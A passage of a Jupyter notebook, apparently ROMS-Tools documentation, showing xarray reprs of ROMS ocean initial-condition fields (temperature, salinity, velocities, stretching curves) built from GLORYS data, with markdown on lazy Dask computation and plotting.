>102</text>\n", " <text x=\"164.948598\" y=\"74.360363\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,164.948598,74.360363)\">101</text>\n", " <text x=\"7.474299\" y=\"146.297828\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,7.474299,146.297828)\">1</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>w</span></div><div class='xr-var-dims'>(ocean_time, s_w, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>0.0 0.0 0.0 0.0 ... 0.0 0.0 0.0 0.0</div><input id='attrs-f984146a-09c0-4329-b1d7-47a0542ee980' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-f984146a-09c0-4329-b1d7-47a0542ee980' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-02c49fa7-7681-460d-b734-8c44d35d95ee' class='xr-var-data-in' type='checkbox'><label for='data-02c49fa7-7681-460d-b734-8c44d35d95ee' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>w-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><pre>array([[[[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", "...\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_r</span></div><div class='xr-var-dims'>(s_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>-0.992 -0.9753 ... -9.874e-06</div><input id='attrs-e9142e8f-ef97-4cc9-9da0-39f84a59fcbe' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e9142e8f-ef97-4cc9-9da0-39f84a59fcbe' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0fd8ea91-a95f-4622-8f85-094981cb75f2' class='xr-var-data-in' type='checkbox'><label for='data-0fd8ea91-a95f-4622-8f85-094981cb75f2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at rho-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>array([-9.91966903e-01, -9.75310326e-01, -9.57903922e-01, -9.39797223e-01,\n", " -9.21044052e-01, -9.01701748e-01, -8.81830335e-01, -8.61491978e-01,\n", " -8.40749860e-01, -8.19667757e-01, -7.98309207e-01, -7.76737094e-01,\n", " -7.55012929e-01, -7.33196437e-01, -7.11345196e-01, -6.89514160e-01,\n", " -6.67755604e-01, -6.46118581e-01, -6.24649167e-01, -6.03389859e-01,\n", " -5.82379997e-01, -5.61655402e-01, -5.41248500e-01, -5.21188438e-01,\n", " -5.01500964e-01, -4.82208848e-01, -4.63331670e-01, -4.44886118e-01,\n", " -4.26886171e-01, -4.09343123e-01, -3.92265856e-01, -3.75660986e-01,\n", " -3.59532982e-01, -3.43884379e-01, -3.28715861e-01, -3.14026594e-01,\n", " -2.99814165e-01, -2.86074877e-01, -2.72803813e-01, -2.59995013e-01,\n", " -2.47641608e-01, -2.35735863e-01, -2.24269405e-01, -2.13233232e-01,\n", " -2.02617854e-01, -1.92413345e-01, -1.82609484e-01, -1.73195779e-01,\n", " -1.64161548e-01, -1.55495971e-01, -1.47188202e-01, -1.39227331e-01,\n", " -1.31602496e-01, -1.24302894e-01, -1.17317833e-01, -1.10636741e-01,\n", " -1.04249209e-01, -9.81450155e-02, -9.23141390e-02, -8.67467746e-02,\n", " -8.14333707e-02, -7.63645992e-02, -7.15314075e-02, -6.69250041e-02,\n", " -6.25368580e-02, -5.83587363e-02, -5.43826595e-02, -5.06009422e-02,\n", " -4.70061824e-02, -4.35912535e-02, -4.03493047e-02, -3.72737721e-02,\n", " -3.43583524e-02, -3.15970331e-02, -2.89840512e-02, -2.65139174e-02,\n", " -2.41813995e-02, -2.19815224e-02, -1.99095625e-02, -1.79610383e-02,\n", " -1.61317140e-02, -1.44175906e-02, -1.28148990e-02, -1.13201011e-02,\n", " -9.92987957e-03, -8.64113960e-03, -7.45099736e-03, -6.35678275e-03,\n", " -5.35603240e-03, -4.44648601e-03, -3.62608512e-03, -2.89296708e-03,\n", " -2.24546436e-03, -1.68210152e-03, -1.20159215e-03, -8.02837836e-04,\n", " -4.84925782e-04, -2.47127580e-04, -8.88979121e-05, -9.87376825e-06],\n", " dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_w</span></div><div class='xr-var-dims'>(s_w)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>-1.0 -0.9837 ... -3.95e-05 0.0</div><input id='attrs-bb71d7fe-fdee-47ef-acaf-60cbe0ded460' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-bb71d7fe-fdee-47ef-acaf-60cbe0ded460' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-41fa01d3-ac8e-41ea-b8fa-aa731bbf397e' class='xr-var-data-in' type='checkbox'><label for='data-41fa01d3-ac8e-41ea-b8fa-aa731bbf397e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at w-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>array([-1.0000000e+00, -9.8373526e-01, -9.6669787e-01, -9.4893485e-01,\n", " -9.3049794e-01, -9.1144282e-01, -8.9182830e-01, -8.7171561e-01,\n", " -8.5116738e-01, -8.3024728e-01, -8.0901909e-01, -7.8754598e-01,\n", " -7.6589024e-01, -7.4411261e-01, -7.2227168e-01, -7.0042384e-01,\n", " -6.7862266e-01, -6.5691894e-01, -6.3536018e-01, -6.1399072e-01,\n", " -5.9285146e-01, -5.7197994e-01, -5.5141032e-01, -5.3117341e-01,\n", " -5.1129663e-01, -4.9180421e-01, -4.7271729e-01, -4.5405400e-01,\n", " -4.3582967e-01, -4.1805691e-01, -4.0074578e-01, -3.8390404e-01,\n", " -3.6753717e-01, -3.5164866e-01, -3.3624011e-01, -3.2131144e-01,\n", " -3.0686098e-01, -2.9288566e-01, -2.7938116e-01, -2.6634204e-01,\n", " -2.5376186e-01, -2.4163328e-01, -2.2994828e-01, -2.1869811e-01,\n", " -2.0787355e-01, -1.9746487e-01, -1.8746199e-01, -1.7785452e-01,\n", " -1.6863190e-01, -1.5978335e-01, -1.5129805e-01, -1.4316508e-01,\n", " -1.3537359e-01, -1.2791272e-01, -1.2077171e-01, -1.1393995e-01,\n", " -1.0740692e-01, -1.0116233e-01, -9.5196031e-02, -8.9498125e-02,\n", " -8.4058918e-02, -7.8868978e-02, -7.3919117e-02, -6.9200397e-02,\n", " -6.4704172e-02, -6.0422052e-02, -5.6345928e-02, -5.2467976e-02,\n", " -4.8780646e-02, -4.5276675e-02, -4.1949075e-02, -3.8791135e-02,\n", " -3.5796430e-02, -3.2958798e-02, -3.0272348e-02, -2.7731461e-02,\n", " -2.5330773e-02, -2.3065183e-02, -2.0929839e-02, -1.8920140e-02,\n", " -1.7031731e-02, -1.5260493e-02, -1.3602542e-02, -1.2054225e-02,\n", " -1.0612117e-02, -9.2730094e-03, -8.0339154e-03, -6.8920576e-03,\n", " -5.8448706e-03, -4.8899921e-03, -4.0252637e-03, -3.2487246e-03,\n", " -2.5586106e-03, -1.9533504e-03, -1.4315632e-03, -9.9205703e-04,\n", " -6.3382636e-04, -3.5605079e-04, -1.5809362e-04, -3.9500741e-05,\n", " 0.0000000e+00], dtype=float32)</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-505702b0-172b-4bda-8b89-0c73d0f0b869' class='xr-section-summary-in' type='checkbox' ><label for='section-505702b0-172b-4bda-8b89-0c73d0f0b869' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>ocean_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-ea575894-47e3-439e-973f-2c0adff64f7e' class='xr-index-data-in' type='checkbox'/><label for='index-ea575894-47e3-439e-973f-2c0adff64f7e' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([378820800.0], dtype=&#x27;float64&#x27;, name=&#x27;ocean_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-01e8da0e-8050-472b-a0cd-ef93b5cd88cc' class='xr-section-summary-in' type='checkbox' checked><label for='section-01e8da0e-8050-472b-a0cd-ef93b5cd88cc' class='xr-section-summary' >Attributes: <span>(8)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS initial conditions file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>ini_time :</span></dt><dd>2012-01-02 00:00:00</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>source :</span></dt><dd>GLORYS</dd><dt><span>theta_s :</span></dt><dd>5.0</dd><dt><span>theta_b :</span></dt><dd>2.0</dd><dt><span>hc :</span></dt><dd>300.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 21MB\n", "Dimensions: (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102,\n", " xi_u: 101, eta_v: 101, s_w: 101)\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho, xi_u, eta_v, s_w\n", "Data variables:\n", " temp (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " salt (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " u (ocean_time, s_rho, eta_rho, xi_u) float32 4MB dask.array<chunksize=(1, 100, 102, 101), meta=np.ndarray>\n", " v (ocean_time, s_rho, eta_v, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 101, 102), meta=np.ndarray>\n", " zeta (ocean_time, eta_rho, xi_rho) float32 42kB -0.4969 ... -0.9301\n", " ubar (ocean_time, eta_rho, xi_u) float32 41kB dask.array<chunksize=(1, 102, 101), meta=np.ndarray>\n", " vbar (ocean_time, eta_v, xi_rho) float32 41kB dask.array<chunksize=(1, 101, 102), meta=np.ndarray>\n", " w (ocean_time, s_w, eta_rho, xi_rho) float32 4MB 0.0 0.0 ... 0.0\n", " Cs_r (s_rho) float32 400B -0.992 -0.9753 ... -8.89e-05 -9.874e-06\n", " Cs_w (s_w) float32 404B -1.0 -0.9837 -0.9667 ... -3.95e-05 0.0\n", "Attributes:\n", " title: ROMS initial conditions file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " ini_time: 2012-01-02 00:00:00\n", " model_reference_date: 2000-01-01 00:00:00\n", " source: GLORYS\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "initial_conditions.ds" ] }, { "cell_type": "markdown", "id": "775b5451-df6c-4edc-bd3b-52e9fffb6cae", "metadata": {}, "source": [ "You can see that all initial conditions variables are Dask arrays, so these fields have not been actually computed yet. An exception is the variable `zeta`, which has been computed to check for NaNs in the interpolated fields, and the variable `w`, which is set to zero. Full computation will not be triggered until the `.plot` or `.save` methods are called." ] }, { "cell_type": "markdown", "id": "6d00a658-b8b4-4a07-9c5d-3858092de616", "metadata": {}, "source": [ "## Plotting\n", "\n", "Let's make some plots! As an example, let's have a look at the temperature field `temp`. It is three-dimensional with horizontal dimensions `eta_rho` and `xi_rho`, and vertical dimension `s_rho`." ] }, { "cell_type": "code", "execution_count": 8, "id": "d765a3f1-f2e7-46a5-862b-39f1a66515cb", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 17c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "<path d=\"M16 26c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "</symbol>\n", "<symbol id=\"icon-file-text2\" viewBox=\"0 0 32 32\">\n", "<path d=\"M28.681 7.159c-0.694-0.947-1.662-2.053-2.724-3.116s-2.169-2.030-3.116-2.724c-1.612-1.182-2.393-1.319-2.841-1.319h-15.5c-1.378 0-2.5 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1;\n", "}\n", "\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " display: none;\n", " background-color: var(--xr-background-color) !important;\n", " padding-bottom: 5px !important;\n", "}\n", "\n", ".xr-var-attrs-in:checked ~ .xr-var-attrs,\n", ".xr-var-data-in:checked ~ .xr-var-data,\n", ".xr-index-data-in:checked ~ .xr-index-data {\n", " display: block;\n", "}\n", "\n", ".xr-var-data > table {\n", " float: right;\n", "}\n", "\n", ".xr-var-name span,\n", ".xr-var-data,\n", ".xr-index-name div,\n", ".xr-index-data,\n", ".xr-attrs {\n", " padding-left: 25px !important;\n", "}\n", "\n", ".xr-attrs,\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " grid-column: 1 / -1;\n", "}\n", "\n", "dl.xr-attrs {\n", " padding: 0;\n", " margin: 0;\n", " display: grid;\n", " grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.DataArray &#x27;temp&#x27; (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102)&gt; Size: 4MB\n", "dask.array&lt;where, shape=(1, 100, 102, 102), dtype=float32, chunksize=(1, 100, 102, 102), chunktype=numpy.ndarray&gt;\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho\n", "Attributes:\n", " long_name: potential temperature\n", " units: degrees Celsius</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.DataArray</div><div class='xr-array-name'>'temp'</div><ul class='xr-dim-list'><li><span class='xr-has-index'>ocean_time</span>: 1</li><li><span>s_rho</span>: 100</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li></ul></div><ul class='xr-sections'><li class='xr-section-item'><div class='xr-array-wrap'><input id='section-4bdefeed-7647-42b0-8501-5e6be3da4897' class='xr-array-in' type='checkbox' checked><label for='section-4bdefeed-7647-42b0-8501-5e6be3da4897' title='Show/hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-array-preview xr-preview'><span>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</span></div><div class='xr-array-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 73 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" 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font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></div></li><li class='xr-section-item'><input id='section-f8a77d8d-a6ef-49d4-8a40-c184c4f53d5d' class='xr-section-summary-in' type='checkbox' checked><label for='section-f8a77d8d-a6ef-49d4-8a40-c184c4f53d5d' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-02T12:00:00</div><input id='attrs-f0d4d52e-e599-4f22-b4d5-afb3299006a3' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-f0d4d52e-e599-4f22-b4d5-afb3299006a3' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e104b4ed-52da-4ae0-a7ab-b37dee46616f' class='xr-var-data-in' type='checkbox'><label for='data-e104b4ed-52da-4ae0-a7ab-b37dee46616f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-02T12:00:00.000000000&#x27;], dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>ocean_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>3.788e+08</div><input id='attrs-e2fc16ad-f192-4009-ae4f-956dcc181f04' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e2fc16ad-f192-4009-ae4f-956dcc181f04' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e3a8244e-0d8a-442f-9ad9-b9fe04f44484' class='xr-var-data-in' type='checkbox'><label for='data-e3a8244e-0d8a-442f-9ad9-b9fe04f44484' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>seconds since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>seconds</dd></dl></div><div class='xr-var-data'><pre>array([3.788208e+08])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-3951f8c8-b3c1-460a-8619-3345c15c8870' class='xr-section-summary-in' type='checkbox' ><label for='section-3951f8c8-b3c1-460a-8619-3345c15c8870' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>ocean_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-d81c4378-68dd-4283-80ce-4c9fb0544086' class='xr-index-data-in' type='checkbox'/><label for='index-d81c4378-68dd-4283-80ce-4c9fb0544086' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([378820800.0], dtype=&#x27;float64&#x27;, name=&#x27;ocean_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-7fef4344-3192-4901-ba44-61b0270ea471' class='xr-section-summary-in' type='checkbox' checked><label for='section-7fef4344-3192-4901-ba44-61b0270ea471' class='xr-section-summary' >Attributes: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.DataArray 'temp' (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102)> Size: 4MB\n", "dask.array<where, shape=(1, 100, 102, 102), dtype=float32, chunksize=(1, 100, 102, 102), chunktype=numpy.ndarray>\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho\n", "Attributes:\n", " long_name: potential temperature\n", " units: degrees Celsius" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "initial_conditions.ds.temp" ] }, { "cell_type": "markdown", "id": "7e752ce4-61cb-44f8-abb1-b9d26028b1b3", "metadata": {}, "source": [ "We first want to plot different layers of the temperature field, i.e., slice along the vertical dimension `s`." ] }, { "cell_type": "code", "execution_count": 9, "id": "fed277bf-3379-49ef-b140-dfdc82d092f6", "metadata": { "tags": [] }, "outputs": [], "source": [ "from dask.diagnostics import ProgressBar" ] }, { "cell_type": "code", "execution_count": 10, "id": "386d3557-4084-4fcc-b611-91f4365bf756", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 1.92 sms\n", "CPU times: user 3min, sys: 336 ms, total: 3min\n", "Wall time: 2.59 s\n" ] }, { "data": { "image/png": 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9bNq0icsuu4xrr72WMWPG0NTUxKFDh/jqq6/Iz8+3lMDoKWPGjAHgjjvu4KKLLkIqlXaq99TGZZddxvr161GpVAwbNoy//vqLrVu34uPj06fXrG3sRx55hAULFiCXy5k1axbR0dGsXr2ahx56iPz8fGbPno27uzt5eXl8++233HTTTdx77719GtMex3r/+mNO55xzDl5eXixZsoQ77rgDQRBYv359l27ZMWPG8Pnnn3P33XczduxY3NzcmDVrFomJiUyYMIGHHnqImpoavL29+eyzz3ol1K+55hq++OILli1bxvbt2zn33HMxGo1kZGTwxRdf8Msvv3D22WcD5pIcK1euZPv27Tb1/joybNgwpk2bxpgxY/D29uaff/7hq6++4rbbbuvxvPqDWbNmcd555/HII4+Qn59PUlISmzdvZuPGjSxfvtwidu3RnzFrH330EV9//TVTpkzBzc2NrVu38sUXX3DDDTfwr3/9y2bbqVOnMnHiRGJiYigrK+Odd95BrVbz/fffI5E47t8dOBiUDEAGqoM+0pbqn56eLs6bN090d3cXvby8xNtuu03UaDQ22+r1enHlypViVFSUKJfLxbCwMPGhhx6yKdkgiqJYVlYmXnrppaK7u7sI2JTxaGxsFB966CExJiZGVCgUoq+vr3jOOeeIL774oqjT6URRbC/d8cILL3SaLx3KcRgMBvH2228X/fz8REEQbMp4dNy2trZWXLp0qejr6yu6ubmJF110kZiRkSFGRESIS5YssWzX09IdomguRxISEiJKJJJOJSm+/vprcdKkSaKrq6vo6uoqxsfHi7feequYmZlp2Wbq1KliYmJip+NGRER0WUoCEG+99VbL8968f8c7J1EUxT///FOcMGGC6OzsLAYHB4v333+/paSI9eulVqvFRYsWiZ6enp1KReTk5Ijnn3++qFQqxYCAAPHhhx8Wt2zZ0mXpDnvz0Ol04nPPPScmJiaKSqVS9PLyEseMGSOuXLlSrK+vt2x3zz33iIIgiIcPH+7yOG2sXr1aHDdunOjp6Sk6OzuL8fHx4lNPPWX5TPaEts/Nl19+2WndkiVLRFdX107L294/axobG8W77rpLDA4OFuVyuRgbGyu+8MILoslk6vFc+oM9e/aIU6ZMEb28vEQnJycxKSlJfOutt7qcx1133SUOGTJEVCqVop+fn7ho0SIxJyfnpM7XgQMHvUMQxZNYatvBcdFmeaisrOy1VcvBwON4/7pn3LhxRERE8OWXXw70VBw4cOBgUOFwgzpw4GDAaWhoICUlhQ8//HCgp+LAgQMHgw6HWHPgwMGA4+Hh0S8JAjqdjpqamm63UalUdkt2OHDgwMFgxCHWHDhwcNqwa9cumwSarlizZg3XXnvtyZmQAwcOHPQDjpg1Bw4cnDbU1tayb9++brdJTEwkKCjoJM3IgQMHDo4fh1hz4MCBAwcOHDgYxDiK6jhw4MCBAwcOHAxiehyz1tLSgk6nO5FzceDAgQMHDs5oFAoFTk5OAz2NfuFk6obT6XXrih6JtZaWFqKioigrKzvR83HgwIEDBw7OWAIDA8nLyzvlhUdLSwt+zm6o6VuLwN5yurxu9uiRWNPpdJSVlVFYWIiHh8cJm8zdd99NbGwsS5YswcXFxbI8LS2N5557jnXr1gGwaNEinnvuOcLCwk7IPNLT01Gr1YwbN+6EHP9UICsri4aGBksroNOd7du3M3z4cPz8/AZ6Kj3irbfeQiKRcNNNN/V4n9TUVKRSKQkJCSdwZgOLKIr88ssvTJw4EZVK1bud1d9hNBkZ/uFyStS1djcL8Qjh0M2HkEqkxznb/qGqqooDBw4wY8aMM75dVHV1NXv37mXatGmn5EW7oaGBsLAwdDrdKTl/a3Q6HWqM3EUUyhMccaXFxMtleafF62aPXpXu8PDwOKFi7Z133mHt2rVcf/31lgrv7u7uZGVl8cknn1jGlsvlhISE4ObmRnp6Ohs3biQ5OZknn3zyuC9EGo2GyspKpkyZckLPdbDT0NDA0KFDz4jXwGQyIQgCQUFBNjcJg5l7772XO++8k+XLlxMfH4+bmxtubm54enoyfvx4AgICOu3j4eGBKIqn/XsaHByMyWTq2Xmqv23/28OFzfnJlBhqoZvf+2JdMSl1KUyLnHbcc+0P3N3dycnJobm5meDg4IGezoDi4eFBVVUVRUVFnHXWWQM9HQeAMxKcOLE3NmfCLcqgqrMmkUi47rrruO666ygpKUEqlVJfX09sbCyCIFi2u/fee5k9ezZubm7Ex8dz6aWXsmTJEpYsWcL//vc/hg8f3uc5ZGZmEhQU1Pu78tOIhoYGmpqaCAwMHOipnBSampqQSCSnVKFUiUTCa6+9Rl5eHsXFxTQ2NqJWqykpKeG+++6jurqaW265hUsuucTy3ZFIJOj1+gGe+YnH09OTuro6IiIiut6g8ev2vwUJoijyd1k269J28GH69h6NUdpY2g8z7R8EQSA8PJyjR4+e8WINzKVZfv31VyIjI/H29h7o6Thw0C8MKrFmTduPTlcWgnPPPZcdO3Z0Wv7ZZ5+xcOFCLrroIoxGI97e3tx44402Qq871Go1hYWFxyyqebpTUlJCQEAAMtmg/Xj0K42Njbi6uvb4c9JX6uvrmTBhArt37+63m4GoqCiioqJsli1btoy6ujreeOMN/ve//3HTTTcxd+5cJBIJJpOpX8YdzKhUKvLy8mwX1n/e/rfE/LkubKxi/eHfWJe2k8za4l6NEeQ+uOq0hYeHk5mZiUajOaVuOk4ELi4uxMTEkJqayuTJk0/499pB90g48ZYvh2VtEFNQUMCjjz5K